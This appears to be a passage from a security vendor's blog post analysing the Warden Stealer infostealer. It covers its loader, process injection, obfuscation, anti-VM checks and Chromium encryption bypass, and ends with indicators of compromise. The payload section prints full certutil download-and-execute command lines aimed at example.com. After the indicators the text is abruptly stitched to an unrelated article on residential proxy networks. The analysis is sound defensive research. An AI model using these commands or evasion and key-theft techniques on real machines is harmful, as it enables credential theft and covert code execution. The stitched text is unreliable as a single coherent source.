Regarding its distribution, since Warden Stealer is sold as MaaS, the infection vectors ultimately depend on the individual operators. As a result, we are seeing it delivered through all the standard infection vectors, including, among others, supposedly cracked software, game cheats, malvertising, and ClickFix campaigns.
Given its active development, the built-in loader and clipper, the authors’ ongoing efforts to modify their builds to evade detection, and their use of AI (as they claimed in the interview), we expect Warden Stealer to remain a key player in the infostealer market for the foreseeable future.
<h2>Technical Analysis</h2>
In this section, we focus on selected technical aspects of Warden Stealer. Note that this is only a selected subset of its functionality rather than an exhaustive overview.
<h3>Warden Loader</h3>
When it comes to the Malware-as-a-Service (MaaS) infostealer ecosystem, the operational boundaries are usually strictly drawn: the malware authors develop the core payload (the stealer), while operators are left to handle the rest of the infection chain, including defense-evasion layers (crypters and/or loaders) and payload delivery. Against this conventional backdrop, Warden Stealer stands out as a notable exception, as it comes with its own dedicated loader, which takes some of the burden off operators and may thus partly account for the stealer’s rapid rise in popularity.
Judging from our code analysis, we assess with high confidence that the loader is not a third-party add-on but a component developed and maintained in-house by the Warden Stealer authors themselves. We base this assessment on the fact that the loader shares the same obfuscation scheme and a non-trivial number of other similarities with the stealer (some of which we highlight throughout the rest of this blog post), firmly linking both components to the same malware authors. That said, the loader layer is not strictly required, as the stealer can also be shipped as a standalone binary. Still, we predominantly observe Warden Stealer being distributed inside this loader.
Functionally, the loader is rather straightforward, operating with one clear goal – to reconstruct the stealer payload in memory and execute it. Overall, Warden Stealer can be deployed in one of three available execution modes:
<ul>
<li>
Injection mode: the loader is shipped as an EXE that reconstructs the stealer payload (DLL) and injects it into an already-running, legitimate-looking process. This is the most common mode and likely the default configuration.
</li>
<li>
Sideload mode: the loader is shipped as a DLL alongside a legitimately signed EXE that sideloads it. Once sideloaded, the loader reconstructs the stealer payload (DLL) and executes it in memory within the host process.
</li>
<li>
Standalone mode: the stealer is shipped without the loader layer altogether, as a standalone EXE.
</li>
</ul>
Since the vast majority of samples we observe in the wild use the injection mode, we focus solely on this specific mode going forward.
The stealer payload is embedded in the loader’s <code>.rdata</code> section and encoded using a custom Base64-like alphabet unique to each build. Interestingly, these alphabets differ across builds not only in character order but also in the character set itself (i.e., they are not mere permutations of a single character set). Nevertheless, each alphabet consists solely of printable ASCII characters and is shared by the loader and the stealer build it carries, both of which use it to decode their obfuscated blobs, including obfuscated strings.
Examples of Base64-like alphabets observed across different Warden Stealer builds:
<ul>
<li>
<code>&lt;y.#'0_Oe;5~q4I[a9Tf3:8pvR{F$ZQg)!(-XtCYznuPU?Jiw&amp;BK@6}*|1D,2&gt;7A</code>
</li>
<li>
<code>WJOTHk*aGS.#bdwLArzDM69yUR(NXZj&lt;8?n{F!'e$C3~,|1B;)c04p]xQs_:o%&amp;q</code>
</li>
<li>
<code>Da7L(&gt;CZ4tB2bkT|u}%jRl5O^n]cIvoM-q;W)w&lt;.&amp;rdVP*gHzp_@Nh$1eYU'[~GK</code>
</li>
</ul>

The deobfuscation process itself consists of two steps. Each encoded blob, whether an obfuscated string or the stealer payload, is first decoded using the custom Base64-like scheme. The loader maps each character to its index in the 64-character alphabet, subtracts a blob-specific shift modulo 64, and combines the resulting 6-bit values into bytes as in ordinary Base64. The decoded stream is then decompressed using a custom LZSS-style format.
Regarding the payload reconstruction, the loader processes three separately decoded blobs: the main blob containing the PE section data, an auxiliary blob providing the PE header template, and a bootstrap stub template. The first two blobs are combined to reconstruct the stealer’s PE image in memory, while the bootstrap stub template is filled with runtime values and appended after the rebuilt image and a runtime-built context block.
Next, the loader selects the target process for injection. The latest builds do so by locating the <code>Shell_TrayWnd</code> window (the Windows taskbar) using <code>FindWindowA</code> and retrieving the PID of its owning process via <code>GetWindowThreadProcessId</code>. In a standard Windows session, this window typically belongs to <code>explorer.exe</code>, although the loader does not verify the process name. Older builds also targeted other processes, such as <code>msiexec.exe</code> or <code>dllhost.exe</code>.
After obtaining a handle to the target process, the loader allocates executable memory within it using <code>VirtualAllocEx</code> with the <code>PAGE_EXECUTE_READWRITE</code> protection flag. Once the remote base address is known, it applies the necessary relocations and injects the reconstructed image, context block, and bootstrap stub into the allocated region as a single contiguous buffer via <code>WriteProcessMemory</code>. Subsequently, the loader invokes <code>CreateRemoteThread</code> to start execution at the appended bootstrap stub.
Since the payload is manually mapped, the standard Windows loader does not register it as a loaded module. To fill this gap, the bootstrap stub first retrieves the PEB via <code>RtlGetCurrentPeb</code> and links two <code>LIST_ENTRY</code> nodes from the context block into <code>PEB-&gt;Ldr-&gt;InLoadOrderModuleList</code> and <code>PEB-&gt;Ldr-&gt;InMemoryOrderModuleList</code>, making the payload visible to code that enumerates these lists. Finally, the bootstrap stub invokes non-null function pointers from a fixed range in the payload image, including its TLS callbacks, and transfers control to the payload by calling its PE entry point.

It is also worth noting that the Warden Stealer loader binaries are often deliberately inflated with a massive PE overlay, a design choice intended to bypass detection (also employed, for example, by <a href="https://www.gendigital.com/blog/insights/research/goflateloader-delivers-multiple-infostealers">GoFlateLoader</a>), as excessively large executables may pose challenges for some AV and EDR solutions, which, primarily due to performance and resource constraints, often enforce practical file-size limits for deep scanning and/or emulation.
The same logic extends to automated analysis pipelines, where bloated files frequently cause timeouts during heuristic analysis and may even prevent the sample from being uploaded to cloud-based sandboxes or threat intelligence platforms, which enforce their own strict upload limits to manage bandwidth and storage costs.
<h3>Obfuscation</h3>
When it comes to static analysis, Warden Stealer builds are protected with several layers of obfuscation. However, since the obfuscation is subject to frequent changes, both to evade detection and to break automated analysis tooling, we do not aim to provide an exhaustive technical breakdown, but rather to give readers a general overview of the techniques used. Note that all techniques covered below apply to both the loader and the stealer.
First, as already mentioned in the loader section, Warden Stealer obfuscates its strings using a custom LZSS-style compression combined with a build-specific Base64-like alphabet and a string-specific shift parameter, with each string being decoded lazily upon its first use and then cached for any subsequent references.
Second, Windows API functions are resolved dynamically by name (using a combination of <code>LoadLibraryA</code> and <code>GetProcAddress</code>) and cached after the first lookup, with both the module and function names stored as obfuscated strings and decoded on demand.

Warden Stealer also employs indirect control flow obfuscation, replacing direct jumps and calls with indirect ones, whose target addresses are computed only at runtime and passed via a register. Notably, the extent to which this obfuscation is applied has decreased considerably over time. While older builds obfuscated most of their jumps and calls, with even individual basic blocks chained together through indirect jumps (see Figure 13), the newest builds leave only a few of them obfuscated. Readers interested in how to remove this type of obfuscation can refer to our <a href="https://www.gendigital.com/blog/insights/research/defeating-aurastealer-obfuscation">previous blog post</a>, where we covered it in greater detail.

Earlier versions of Warden Stealer additionally leveraged TLS callbacks (which, incidentally, is also where the name CallbackBeaver we originally gave to Warden Stealer comes from) to populate thread-local storage and global variables with constants. These constants were later used in obfuscated computations to recover data offsets and string decoding parameters, as well as in the conditions used to select indirect jump targets.

Finally, Warden Stealer also makes use of constant masking, decoy strings, mixed Boolean-arithmetic (MBA) expressions, opaque-predicate-style guards leading to bogus code branches, and junk computations whose results are simply discarded, all of which further bloat the decompiled code and make its analysis more time-consuming.

<h3>Anti-VM Checks</h3>
To determine whether it is running in a virtualized environment, Warden Stealer performs multiple anti-VM checks.
First, it retrieves the raw SMBIOS firmware table using <code>GetSystemFirmwareTable</code> and walks through its records, looking for at least one record of type 7 (<code>Cache Information</code>). If the table is retrieved successfully but contains no such record, the environment is considered virtualized.

Second, the stealer uses the <code>cpuid</code> instruction to obtain the physical CPU vendor ID (leaf 0) and the hypervisor vendor ID (leaf <code>0x40000000</code>). If the hypervisor additionally reports support for leaves beyond <code>0x400000FF</code>, a secondary hypervisor vendor ID is retrieved from leaf <code>0x40000100</code> as well. The physical CPU vendor ID, the hypervisor vendor ID (if nonzero), and the secondary hypervisor vendor ID (if available) are then all compared against a blacklist of 27 exact 12-byte signatures, covering a broad range of hypervisors and emulators, including VMware, VirtualBox, KVM, Xen, or QEMU running in TCG mode. If no exact match is found, the IDs are further searched for four shorter markers (<code>KVM</code>, <code>PpyH</code>, <code>Apple VZ</code>, and <code>QXNQSBMV</code>).

Third, Warden Stealer enumerates the entries under the following Uninstall registry paths:
<ul>
<li>
<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
<li>
<code>HKCU\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>
</li>
</ul>
It then filters out entries marked as system components (with the <code>SystemComponent</code> <code>REG_DWORD</code> set to <code>1</code>) and entries whose <code>UninstallString</code> value cannot be retrieved. For the remaining ones, it collects the <code>DisplayName</code> values and checks whether any of these begins with the prefix <code>Virtio</code>, which may indicate VirtIO-related software, commonly associated with KVM/QEMU virtual machines.
Finally, the stealer enumerates display devices using <code>EnumDisplayDevicesW</code> and checks whether any of the adapter descriptions contains one of the substrings <code>Virtio</code>, <code>Standard VGA</code>, or <code>Basic Display</code>, which typically correspond to the generic display adapters used in virtual machines without dedicated graphics drivers.
If the environment is considered virtualized, Warden Stealer displays a message box titled <code>DEBUG</code> with the Russian message: <code>Моня, и шо разве мы виноваты, что вокруг Одессы Украину построили?!</code> (roughly translating to “Monya, is it really our fault that they built Ukraine around Odessa?!”) and aborts the reporting worker before it proceeds with its subsequent data collection and reporting.

<h3>Application-Bound Encryption Bypass</h3>
A key part of Warden Stealer’s functionality is the theft of sensitive browser data, such as cookies and passwords, from Chromium-based browsers. Nowadays, however, such data is protected by <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">Application-Bound Encryption (ABE)</a>. To bypass ABE, the stealer employs an approach that we have not previously observed in this exact form but that closely resembles a combination of the bypasses used by the latest versions of Vidar and Remus. Nevertheless, its implementation differs in several aspects, suggesting independent development rather than a direct copy.
Since we have already covered the bypasses of <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">Vidar</a> and <a href="https://www.gendigital.com/blog/insights/research/remus-64bit-variant-of-lumma-stealer">Remus</a>, as well as <a href="https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass">the inner workings of ABE</a>, in our earlier posts, we do not revisit them here and instead outline the main ideas behind Warden Stealer’s own implementation. For readers interested in the broader background, we encourage checking those earlier posts.
From a high-level perspective, Warden Stealer’s approach to bypassing ABE boils down to three steps:
<ul>
<li>
Locate a candidate <code>v20_master_key</code> in its encrypted form within the browser’s memory
</li>
<li>
Execute injected shellcode inside the browser process to decrypt the key
</li>
<li>
Read the decrypted key back
</li>
</ul>
Before any decryption can take place, however, Warden Stealer first needs to locate the <code>v20_master_key</code> in its encrypted form. Here, its approach closely resembles that of Vidar, as it also scans the browser’s memory for a layout consistent with entries in Chromium’s <code>os_crypt_async::Encryptor::KeyRing</code>, a map that holds the keys used by the <code>Encryptor</code> class, including the encrypted <code>v20_master_key</code>. That said, its scanning pattern is considerably simpler. Whereas Vidar matches a 32-byte signature that also covers fixed values of specific fields within a <code>KeyRing</code> entry, Warden Stealer searches the browser’s memory solely for the four-byte sequence <code>v20\x00</code> – the null-terminated <code>v20</code> tag under which the <code>v20_master_key</code> is stored in the <code>KeyRing</code> map.
Naturally, such a short pattern yields more candidates, so Warden Stealer narrows them down by checking whether the values at specific offsets from each match are consistent with the expected layout of a <code>KeyRing</code> entry. Now, this part is admittedly a bit tricky, as it relies on several assumptions we made about the internal memory layout, as well as on implementation-specific representations of various C++ standard library types (<code>std::map</code>, <code>std::string</code>, <code>std::vector</code>, and <code>std::optional</code>). Therefore, please treat the following interpretation as a high-confidence assessment rather than a certainty. That said, judging from our analysis, we strongly believe that these checks follow from the memory layout of a <code>KeyRing</code> entry.
Chromium <a href="https://github.com/chromium/chromium/blob/2e22ca200ff2c2c2606e345b0ec880339b6bfa73/components/os_crypt/async/common/encryptor.h#L121">defines</a> <code>KeyRing</code> as <code>std::map&lt;/*tag=*/std::string, std::optional&lt;Key&gt;&gt;</code>, so each of its entries is a <code>std::pair&lt;const std::string, std::optional&lt;Key&gt;&gt;</code> stored in a node of the red-black tree that implements the map. Within this pair, the <code>std::string</code> tag is followed by the <code>std::optional&lt;Key&gt;</code> value, whose <code>Key</code> object holds the encrypted <code>v20_master_key</code> in its <code>key_</code> member variable (a <code>std::vector&lt;uint8_t&gt;</code>).
Specifically, Warden Stealer inspects three consecutive <code>qwords</code> at offsets <code>+32</code>, <code>+40</code>, and <code>+48</code> from each <code>v20\x00</code> match, which, under libc++’s default pointer-based representation of <code>std::vector</code>, should correspond to the <code>begin</code>, <code>end</code>, and <code>capacity_end</code> pointers of the <code>key_</code> vector, as illustrated in Figure 21 (and previously dissected in greater detail in <a href="https://www.gendigital.com/blog/insights/research/inside-vidar-abe-bypass">our analysis of Vidar’s ABE bypass</a>). This leads us to conclude that the stealer leverages the <code>key_</code> vector as a verification mechanism: only if the data at these offsets plausibly resembles a <code>std::vector</code> structure does the stealer treat the match as a candidate <code>KeyRing</code> node. In practice, the verification is rather heuristic and boils down to the following sanity checks of the three pointers:
<ul>
<li>
The <code>begin</code> pointer must be 8-byte aligned and lie within the user-mode address range (<code>0x10000–0x7FFFFFFFFFFF</code>)
</li>
<li>
The <code>end</code> pointer must equal <code>begin + 32</code>, indicating a 32-byte buffer (i.e., the size of the <code>v20_master_key</code>)
</li>
<li>
The <code>capacity-end</code> pointer must also be 8-byte aligned, lie within the user-mode address range, and fall between <code>end</code> and <code>begin + 64</code>, limiting the vector’s capacity to between 32 and 64 bytes
</li>
</ul>

However, libc++ also supports an <a href="https://chromium.googlesource.com/external/github.com/llvm/llvm-project/libcxx/+/97b436da4c33663581d394f4ee0a5977fc38c2f4/include/__vector/layout.h#82">alternative size-based layout</a> of <code>std::vector</code>, in which the <code>begin</code> pointer is followed by integer <code>size</code> and <code>capacity</code> fields instead of two additional pointers. Notably, Warden Stealer’s filtering logic appears to account for this variant as well: if the <code>begin</code> pointer passes the alignment check but the second <code>qword</code> does not equal <code>begin + 32</code>, the stealer falls back to checking whether the <code>qword</code> itself equals <code>32</code>. It then requires the third <code>qword</code> to have no bits set other than <code>0x20</code>, effectively accepting only <code>0</code> or <code>32</code>. A <code>begin</code> pointer followed by two values of <code>32</code> thus describes the same <code>key_</code> vector (a 32-byte buffer with a capacity of 32 bytes) but in its size-based representation. The complete filtering logic is shown in Figure 23.

The collected candidates (the <code>begin</code> pointers of the identified <code>key_</code> vectors, each presumably pointing to an encrypted <code>v20_master_key</code>) are then sorted, deduplicated, and tested one by one. For each candidate, Warden Stealer reads the 32 bytes it points to and stages them in the target browser process alongside a short shellcode stub. To run the stub, it hijacks one of the browser’s existing threads by suspending it, saving its original context, and redirecting its instruction pointer to the shellcode. Once resumed, the shellcode stub invokes <code>CryptUnprotectMemory</code> on the staged buffer with the <code>CRYPTPROTECTMEMORY_SAME_PROCESS</code> flag (similar to Remus, which likewise injects a small shellcode into the browser to perform exactly this call). Because the decryption happens in place, Warden Stealer simply polls the buffer and compares it against the original encrypted bytes. If the contents differ, it treats the result as a recovered <code>v20_master_key</code>.

<h3>C2 Communication</h3>
Each Warden Stealer build comes with its own hardcoded set of C2 domains embedded directly in the binary. An individual build typically contains between one to five domains, with any additional ones serving as fallback endpoints in case a server becomes unavailable.
These domains are protected by a dedicated obfuscation scheme, separate from the general-purpose string decoder, with each entry stored as a one-byte XOR key, a pointer to the encoded domain, and the encoded domain’s byte length. Notably, these three fields can appear in any order, likely as a result of the malware’s morphing.

The actual communication with the C2 server is handled over HTTPS and relies on a custom binary format. Before being sent, each record is serialized, XOR-obfuscated with a build-specific byte, and prefixed with a frame tag. The resulting frame is then compressed using LZNT1 and wrapped with a header containing its uncompressed length, a 16-byte build marker, and optional metadata.

Using this format, Warden Stealer first sends a registration request carrying a fingerprint of the infected system that includes the machine’s hardware identifier, CPU and memory details, OS version, display configuration, username, locales, and installed software. In response, the server returns the stealer’s dynamic configuration, which is XOR-obfuscated with the same build-specific byte as the outgoing records but, unlike them, is not LZNT1-compressed. If the exchange fails or the response contains no valid configuration, Warden Stealer falls back to the next C2 domain in the list. Once a valid configuration is obtained, Warden Stealer collects data according to the configured feature flags and collection rules and uploads the stolen data to the C2 server in batches.
An example of Warden Stealer’s dynamic configuration is available on our <a href="https://github.com/gendigitalinc/ioc/blob/master/WardenStealer/extras/warden_stealer_configuration.bin">GitHub</a>.
<h3>Execution of Additional Payloads</h3>
In addition to its stealing capabilities, Warden Stealer can download and execute additional payloads from URLs supplied in its dynamic configuration. For each URL, it constructs a destination path under <code>%TEMP%</code> and downloads the file there using the <code>certutil.exe -urlcache -split -f "&lt;URL&gt;" "&lt;destination&gt;"</code> command. The destination filename is derived from the <code>GetTickCount</code> value, formatted as eight zero-padded lowercase hexadecimal digits, followed directly by the URL’s zero-based position in the configuration list. The extension is selected by checking the URL text preceding any query string or fragment for <code>.msi</code>, <code>.bat</code>, or <code>.cmd</code>, with <code>.exe</code> used otherwise. Based on the selected extension, the payload is launched in one of the following ways:
<ul>
<li>
MSI: <code>msiexec.exe /i "&lt;destination&gt;" /qn /norestart</code>
</li>
<li>
BAT/CMD: <code>cmd.exe /c "&lt;destination&gt;"</code>
</li>
<li>
EXE (default): the downloaded file is executed directly
</li>
</ul>
To carry out both the download and the execution steps, Warden Stealer leverages the <code>Shell.Application</code> COM object (rather than calling <code>CreateProcess</code> directly). Through its <code>IShellDispatch2</code> interface, it invokes the <a href="https://learn.microsoft.com/en-us/windows/win32/shell/ishelldispatch2-shellexecute">ShellExecute</a> method to launch <code>cmd.exe</code> with a hidden window (<code>SW_HIDE</code>). The arguments passed to <code>cmd.exe</code> combine the <code>certutil</code> download command with the appropriate payload invocation, chained with <code>&amp;&amp;</code>, so the payload is launched only if the download succeeds (or more precisely, if <code>certutil</code> returns a successful exit code).
The following examples illustrate the resulting command lines, assuming <code>%TEMP%</code> is <code>C:\Users\user\AppData\Local\Temp</code>, <code>GetTickCount</code> returns <code>0x1337</code> for each item, and the URLs appear in the configuration in MSI, BAT, and EXE order:
<ul>
<li>
MSI: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.msi" "C:\Users\user\AppData\Local\Temp\000013370.msi" &amp;&amp; msiexec.exe /i "C:\Users\user\AppData\Local\Temp\000013370.msi" /qn /norestart</code>
</li>
<li>
BAT: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.bat" "C:\Users\user\AppData\Local\Temp\000013371.bat" &amp;&amp; cmd.exe /c "C:\Users\user\AppData\Local\Temp\000013371.bat"</code>
</li>
<li>
EXE: <code>cmd.exe /c certutil.exe -urlcache -split -f "https://example.com/payload.exe" "C:\Users\user\AppData\Local\Temp\000013372.exe" &amp;&amp; "C:\Users\user\AppData\Local\Temp\000013372.exe"</code>
</li>
</ul>
<h2>Summary</h2>
Warden Stealer has rapidly emerged as one of the most prevalent infostealers we protect our users from, ranking on par with Amatera, Remus and Vidar. Written in Rust, it combines broad data-stealing capabilities with a dedicated custom loader and a built-in cryptocurrency clipper. It is actively developed and has been promoted on underground forums since August 2026, although we have been tracking its first builds since early May 2026.
In this blog post, we showed how our investigation linked the malware we previously tracked as CallbackBeaver to Warden Stealer. This attribution draws on similarities between the analyzed samples and the authors’ public statements in underground forum posts and an interview, including details about the development timeline and loader and clipper capabilities.
We also described a variety of the stealer’s obfuscation techniques and anti-VM checks, as well as its approach to bypassing Application-Bound Encryption to steal sensitive information from Chromium-based browsers. Notably, Warden Stealer is one of the first stealers actively targeting locally installed AI agents to exfiltrate access and refresh tokens, prompt histories, credentials stored in MCP configurations, and other sensitive developer-related information, highlighting the shift we have recently observed in the infostealer landscape.
<h2>Indicators of Compromise (IoCs)</h2>
A complete, much more extensive, IoC list is available on our <a href="https://github.com/gendigitalinc/ioc/tree/master/WardenStealer">GitHub</a>.
<h3>Warden Loader SHA-256 (Non-exhaustive)</h3>
006510ce1da2b7410376f0788c19e55616eb4bcc30072d25b7d0871dc32aa11c
0d727a4ef1178e767afdd0080ba1ebda0f24ac52b639f0501021affd8f88d26a
63959ef6309cd01b5d3c7262a3a41394dca2db2dc74bd030a517b7e23a2c3fef
77c8266935bc040c992ab70abd402bd203b9c12e7548c80b84fd21308c250f0e
77cc246272f2af21b64bbc6c6173d57affee97eb0ccf747d89492d06d4c52865
abcc49cd8a9b08a18ad9e516ec13350e01a05f04f1c5e025080e1c0e3b4bec36
b855f6883391e25f1a91692bef76771065b4b0436a014de5b25aa9d0de6238e4
dd1c3b2bfe32b41902ffe875e568f52f44f0900209b9cb447c9ae4444a5dce4e
ea9debbe4b3d11bf6c986af63a94e13ceb2a1cbc167a642697fcabc9e8a50439
ff85bb43e546fac541443006878828c47958c1d55dfa32c529651bfcc12832f1
<h3>Warden Stealer SHA-256 (Non-exhaustive)</h3>
04beeb716a79661ea770138558dbdebccb493bf6b4b1ec37f19b9c028dea98d5
159b472e0e0bdc05933da64032761cbd042b6cc5dc4e1cd11d5ef7af5180b972
3d0794fca8ae2ca80eee463b11557d696c48c8ddf17f5e2917cc33fbf0596842
51bc797e783b6a765e174736ff12a711a243099f4e19739388e5bce1548a448d
5b6ec081f385d91273a79c6645cd0f932539dc267863e5d243657a8ccb5ca351
6e47d6da0e2ab2226ee033e75c7b9b41e4e908d6f71b47d0ce7477a492fb418e
a396ccfb5547f04cef4be18ed076bb2c62c571268306d201b6177188f05723f1
cc1f2ae885d317e6c520ea6d219370630c1c7a8fe600b89d0d78fdee28174ff4
e62b24142e7244573cf37cef55b175fbba6a43ac4592d30f8b061dda8866c9b3
fea9538084b70e9681fd8104b9319792c4d8c2701ae145ec31dc26e7526f2ae0

<h3>Extracted Warden Stealer C2 Domains (Non-exhaustive)&nbsp;</h3>backtoblack7[.]com&nbsp; berff3788[.]com&nbsp; bobroviysmex[.]shop&nbsp; bomboclat[.]rest&nbsp; brodyagup[.]com&nbsp; culture-shock[.]club&nbsp; diseazhjw[.]cloud&nbsp; dojaekrt[.]cc&nbsp; dojaekrt[.]forum&nbsp; dojaekrt[.]trade&nbsp; erifytrtr1[.]vip&nbsp; ggresp[.]com&nbsp; hotelcalifornia[.]club&nbsp; hroffice[.]work&nbsp; incoming[.]rent&nbsp; jgkawdq[.]cloud&nbsp; kaiangelsystems[.]rest&nbsp; kaifdlyaw[.]com&nbsp; kaliop-weda[.]club&nbsp; konradkerz40000[.]work&nbsp; library2000[.]com&nbsp; luqiuid91[.]com&nbsp; macfilecloud8[.]com&nbsp; matie-bal[.]club&nbsp; modicontools[.]com&nbsp; nextlanding[.]net&nbsp; nweenwew234[.]cc&nbsp; patduggan[.]com&nbsp; pianolovers[.]club&nbsp; piska-sosidka-govno[.]asia&nbsp; plainhorizon[.]org&nbsp; publisher99[.]com&nbsp; rabbids-sixseven[.]cc&nbsp; recap-check[.]org&nbsp; rocks56[.]com&nbsp; rrrrrrrfffff[.]club&nbsp; russianaltushkawantdickinside[.]club&nbsp; sfgiantslive[.]com&nbsp; skibidiclipper[.]pw&nbsp; skibidiproliv[.]com&nbsp; skibidistealer[.]team&nbsp; systemformating[.]rest&nbsp; verifytrtr[.]vip&nbsp; vlad-nazarenko2004[.]club&nbsp; web03-azureupdate[.]com&nbsp; webex-028ue2[.]com&nbsp; wosback[.]cc&nbsp; zalupka[.]website&nbsp; zolotoy[.]club&nbsp; zxcwork[.]com&nbsp;

From Attribution to a Technical Breakdown of a Rust Infostealer

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

Security Evangelist at Gen

You install an app that offers a reward, a premium feature or perhaps a little money in exchange for sharing some of your unused internet bandwidth. It sounds harmless enough. Your connection is idle most of the time anyway.What may be less obvious is what that arrangement can mean in practice. Traffic from someone else can leave the internet through your home connection, using your residential IP address. To the website receiving that traffic, it can look as though the request came from you. And if that traffic is malicious or abusive, it is your home IP address that is associated with it.That is the basic idea behind a residential proxy. Businesses use them for perfectly legitimate purposes, from price monitoring and ad verification to web scraping and <a href="https://www.gendigital.com/blog/insights/research/the-ai-data-race">AI data collection</a>. But the model depends on something that is easy to overlook: every residential IP being sold has to belong to a real connection somewhere.We wanted to look at that side of the market.How many computers we protect are actually running software associated with residential proxy networks? Where are they? Which providers have the largest footprint? Are those residential proxy networks being misused?&nbsp;&nbsp;What kinds of threats are involved, and do they look the same from one provider to another?And before we looked at any of that, we asked an even more basic question: do people actually understand what they are agreeing to?

KEY TAKEAWAYS<ul type="disc"><li data-list-item-id="e725035ce634bc551d23eb087fcd37396">We blocked 20.8 million attacks associated with residential proxy ecosystems between January and mid-September 2026. Phishing was the most prominent threat classification, with 5.15 million blocked attacks, followed by 1.26 million involving malvertising.&nbsp;</li><li data-list-item-id="ec59d16726c7bd071fbc01940b1615690">The geography of malicious activity does not simply mirror the geography of residential proxy installations. The United States ranked only 10th in our September snapshot of active residential proxy software, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks.&nbsp;</li><li data-list-item-id="e98fe79ebb34c1567cb95df881e50cfc9">The residential proxy footprint we observe is highly concentrated. Bright Data, Hola and NetNut account for around 94% of the active provider footprint in our Windows telemetry, although their geographic distributions differ substantially.&nbsp;</li><li data-list-item-id="ed7cfcec5f4de647ba0c48381878a0edc">There is no single residential proxy threat profile. Some provider ecosystems are dominated by phishing and malvertising, while others show much stronger associations with droppers, file infectors, worms or trojans.&nbsp;</li><li data-list-item-id="ebf754ed261a74226c83755f05a864955">Most US consumers do not really understand what residential proxies do. Only 8.8% of respondents correctly identified how they work, while 17.2% said they currently use an app that rewards them for sharing unused bandwidth. Once the behavior was explained, 76.5% said they would be concerned about third parties routing traffic through their home connection.&nbsp;</li></ul>

<h2>We started with the machines</h2>Our installation telemetry identified software associated with 18 residential proxy providers on active Windows systems we protect. The first thing that stood out was concentration. Bright Data, whose customers include NBCUniversal, Deloitte, and McDonalds, had by far the largest footprint, with an estimated 1.47 million active users in our September snapshot. Hola followed with approximately 664,000, and NetNut with around 474,000. After those three, the numbers fall quickly: Honeygain was at about 68,000 active users and Infatica at roughly 56,000, while no other provider in our current dataset reached 11,000.Taken together, Bright Data, Hola and NetNut account for roughly 94% of the combined provider footprint we observed. These numbers give us a view of the supply side, the computers that can contribute residential connectivity to these networks.

The geography is just as interesting. India had the largest combined residential proxy footprint in our snapshot, with approximately 294,000 active user observations. Vietnam followed at around 177,000, Ukraine at 132,000, Brazil at 131,000 and the Philippines at 97,000. The United States ranked tenth, at approximately 56,000.Individual providers have very different geographic fingerprints. Bright Data appeared across 153 countries and territories, with its largest concentrations in India, Vietnam and Brazil. Hola was also led by India and Vietnam. NetNut looked very different: Ukraine accounted for around 60,000 active users associated with its software, followed by India at around 34,000. Honeygain was strongest in Brazil and the Philippines, while Infatica was led by Ukraine and India. Residential proxy providers may sell access to a global pool, but the capacity underneath each network is not distributed in the same way.

<h2>Windows is only one part of the picture</h2>Our telemetry deliberately focuses on identifiable applications running on Windows that are associated with residential proxy networks. It does not attempt to measure proxy SDKs embedded inside other applications, nor devices running Android, smart TVs, routers or other connected hardware. The footprint in this research should therefore be read as the part of the ecosystem we can measure consistently, not as its total size.That wider ecosystem is not theoretical. In 2026, researchers at Spur examined more than 6,000 apps for LG webOS and Samsung Tizen smart TVs and found residential proxy SDKs in roughly a third of them. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/">LG</a> and <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/">Samsung</a> subsequently moved to restrict or remove apps containing residential proxy functionality from their TV platforms.&nbsp;Mobile connectivity extends the ecosystem beyond the Windows applications covered in this research. Residential and mobile proxy infrastructure can also be built using SIM cards and banks of cellular modems, providing IP addresses from mobile networks rather than fixed broadband connections. There are more advanced ways of extracting additional usable addresses from mobile connectivity too, but that is an area we would want to research separately before drawing conclusions.What we see on Windows is therefore not the residential proxy ecosystem. It is one window into it.<h2>Then came the security question: what is flowing through these networks?</h2>The presence of malicious traffic does not mean that a residential proxy provider is responsible for that activity. Legitimate infrastructure is routinely abused by bad actors, and larger networks naturally provide more opportunities for misuse. Our data shows what we observed and blocked through these networks, not that the providers themselves generated or knowingly enabled the activity.Mapping the software tells us where part of the residential proxy supply comes from, but it does not tell us how the networks are being used. We therefore looked at malicious traffic our protections blocked from the residential proxy providers in the study between January and mid-September 2026.The total was 20.8M distinct blocked attacks. Bright Data alone was associated with 17.336,419 of them, affecting 771,159 protected users (computers running the residential proxy through which the malicious traffic was routed). That is about 83% of all provider-level blocked attacks in this dataset. Honeygain was a distant second by attack volume, with 1,265,540 blocked attacks affecting 51,271 users. NetNut was associated with 789,668 attacks affecting 663,426 users, Tuxler with 571,810 attacks across 19,184 users, and Hola with 406,415 across 170,577 users.Those numbers are not a ranking of which provider is 'most dangerous'. A larger network has more opportunities to appear in telemetry, and the installation snapshot and the attack data cover different periods.&nbsp;Even within the affected population, repetition varies sharply. Bright Data averaged about 22.5 distinct blocked attacks per protected user over the period, Honeygain about 24.7 and Tuxler about 29.8.<h2>Phishing leads overall, but the threat mix varies</h2>When we group the blocked activity by threat type, phishing is the most prominent classification by a wide margin, appearing in more than 5.15 million provider-category attack observations. Malvertising follows at about 1.26 million, then trojans at roughly 667,000. E-shop scams account for around 388,000 category observations, file infectors for about 329,000 and droppers for more than 173,000.These categories overlap. A single malicious event can trigger more than one classification, so the category figures must not be added together or presented as pieces of a 100% distribution.&nbsp;

